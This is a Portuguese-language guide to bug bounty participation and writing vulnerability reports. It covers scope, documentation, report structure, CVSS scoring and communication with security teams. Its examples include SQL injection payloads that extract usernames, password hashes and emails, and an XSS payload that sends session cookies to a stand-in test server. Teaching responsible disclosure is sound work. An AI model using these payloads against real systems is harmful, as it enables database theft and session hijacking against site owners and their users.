Bug bounty: como reportar vulnerabilidades

1. O que é Bug Bounty e Por que Participar?

Programas de Bug Bounty são iniciativas onde empresas convidam pesquisadores de segurança (incluindo desenvolvedores) a encontrar e reportar vulnerabilidades em seus sistemas em troca de recompensas financeiras. Eles podem ser públicos (qualquer pessoa pode participar, como no HackerOne ou Bugcrowd) ou privados (apenas convidados, geralmente com escopo mais restrito).

Para desenvolvedores, participar de Bug Bounty oferece benefícios únicos: aprendizado prático sobre falhas de segurança reais, networking com profissionais da área e, claro, recompensas que podem variar de US$ 100 a dezenas de milhares de dólares.

É crucial entender a diferença entre Bug Bounty e divulgação responsável (responsible disclosure). No Bug Bounty, a empresa oferece recompensas financeiras e tem um processo estruturado. Na divulgação responsável, o pesquisador reporta uma vulnerabilidade sem recompensa garantida, geralmente seguindo uma política de segurança pública.

2. Preparação Antes do Reporte

Antes de começar a testar, leia minuciosamente o escopo e as regras do programa. Testar fora do escopo pode resultar em ações legais. Verifique:
- Quais domínios, endpoints e versões de aplicativos estão permitidos
- Se há limites de taxa (rate limits) ou proibições de testes automatizados
- Se dados reais de usuários podem ser acessados (geralmente não)

Configure um ambiente isolado. Use VMs ou contêineres Docker para realizar os testes, evitando afetar sistemas de produção ou expor seu IP real sem necessidade.

Documente cada passo do seu teste. Anote:
- Ferramentas utilizadas (Burp Suite, OWASP ZAP, nmap, etc.)
- Payloads enviados
- Timestamps e logs de rede
- Comportamento observado do sistema

Exemplo de documentação inicial:

Ferramenta: Burp Suite Community v2024.1
Alvo: https://api.exemplo.com/v2/users
Payload testado: ' OR 1=1 --
Timestamp: 2024-01-15 14:32:00 UTC
Resultado: Resposta HTTP 200 com listagem de 150 usuários

3. Estrutura de um Bom Reporte de Vulnerabilidade

Um reporte bem estruturado aumenta suas chances de recompensa e acelera a triagem. Siga esta estrutura:

Título: Claro e descritivo. Ex: "SQL Injection no endpoint /api/users — Extração de dados de 150 usuários"

Resumo executivo: Explique o impacto potencial em linguagem de negócios. Ex: "A vulnerabilidade permite que um atacante não autenticado extraia todo o banco de dados de usuários, incluindo hashes de senhas e e-mails."

Passos para reprodução (PoC): Sequência exata de ações. Seja meticuloso.

Exemplo de PoC:

1. Acesse https://api.exemplo.com/v2/users
2. Envie uma requisição GET com o parâmetro:
   ?id=1 UNION SELECT username, password_hash, email FROM users
3. Observe a resposta HTTP 200 contendo:
   {"users": [{"username": "admin", "password_hash": "$2y$10$...", "email": "admin@exemplo.com"}]}
4. Repita o passo 2 com diferentes valores de id para extrair mais registros

4. Detalhamento Técnico e Evidências

Inclua evidências concretas que comprovem a vulnerabilidade. Isso inclui:
- Payloads completos (em formato seguro, sem expor dados reais de produção)
- Logs de rede (cURL, Burp Suite, Wireshark)
- Capturas de tela da resposta do servidor

Exemplo de payload com cURL:

curl -X GET "https://api.exemplo.com/v2/users?id=1%20UNION%20SELECT%201,2,3,4,5" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Accept: application/json"

Demonstre o impacto real da exploração. Se for uma SQL Injection, mostre que é possível extrair dados sensíveis. Se for um XSS, mostre um alert() funcional ou o roubo de cookies (usando um domínio de teste próprio, nunca o real).

Exemplo de prova de conceito para XSS:

Payload: <script>fetch('https://meu-servidor-teste.com/steal?cookie='+document.cookie)</script>
Inserido no campo "nome" do formulário de cadastro
Resultado: O servidor de teste recebeu o cookie de sessão do administrador

5. Classificação e Priorização da Vulnerabilidade

Use frameworks reconhecidos como CVSS (Common Vulnerability Scoring System) e OWASP para classificar a vulnerabilidade. Explique o vetor de ataque:

  • Remoto vs. local: A vulnerabilidade pode ser explorada remotamente?
  • Autenticado vs. não autenticado: Requer credenciais?
  • Complexidade: Baixa (payload simples) ou alta (requer múltiplas etapas)?

Sugira uma severidade com justificativa técnica:

Classificação proposta: Crítica (CVSS 9.8)
Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Justificativa: Atacante não autenticado pode executar SQL Injection para extrair todo o banco de dados, ler e modificar registros, e potencialmente obter execução remota de comandos no servidor.

Se a vulnerabilidade for de baixo risco (ex: vazamento de informações não sensíveis), classifique como "Baixa" ou "Informativo".

6. Boas Práticas de Comunicação com a Equipe de Segurança

Comunique-se pelo canal oficial do programa (plataforma HackerOne, Bugcrowd, ou e-mail criptografado com PGP). Nunca divulgue a vulnerabilidade publicamente antes da correção.

Mantenha um tom profissional e colaborativo:
- Evite linguagem agressiva ou acusatória (ex: "Seu sistema é uma porcaria")
- Seja objetivo: "Encontrei uma vulnerabilidade que permite X. Seguem os detalhes."
- Ofereça-se para esclarecer dúvidas ou fornecer mais informações

Se a equipe de segurança solicitar testes adicionais, esteja disponível e responda rapidamente. Isso mostra comprometimento e pode aumentar sua reputação.

Exemplo de comunicação inicial:

Assunto: Reporte de vulnerabilidade - SQL Injection em /api/users

Olá, equipe de segurança,

Encontrei uma vulnerabilidade de SQL Injection no endpoint /api/users que permite extração não autenticada de dados. Seguem os detalhes técnicos e PoC.

Estou disponível para esclarecer qualquer dúvida ou realizar testes adicionais.

Atenciosamente,
[Seu nome/handle]

7. Pós-Reporte: Acompanhamento e Aprendizado

Após enviar o reporte, o que esperar?
- Tempo de resposta: Varia de horas a semanas. Programas maduros respondem em 1-3 dias úteis.
- Triagem: A equipe valida se a vulnerabilidade é real e se está dentro do escopo.
- Validação: Testam sua PoC para confirmar o impacto.
- Recompensa: Se aprovado, você receberá o pagamento conforme a política do programa.

Se seu reporte for rejeitado, analise o feedback. Pode ser por:
- Vulnerabilidade fora do escopo
- Duplicata (outro pesquisador já reportou)
- Baixo impacto (ex: vazamento de dados não sensíveis)

Use rejeições como aprendizado. Melhore sua técnica, estude casos similares e tente novamente.

Por fim, considere a divulgação responsável após a correção (se o programa permitir). Escreva um artigo técnico ou publique um write-up no Medium, dev.to ou seu blog. Isso contribui para a comunidade e fortalece seu portfólio.

Referências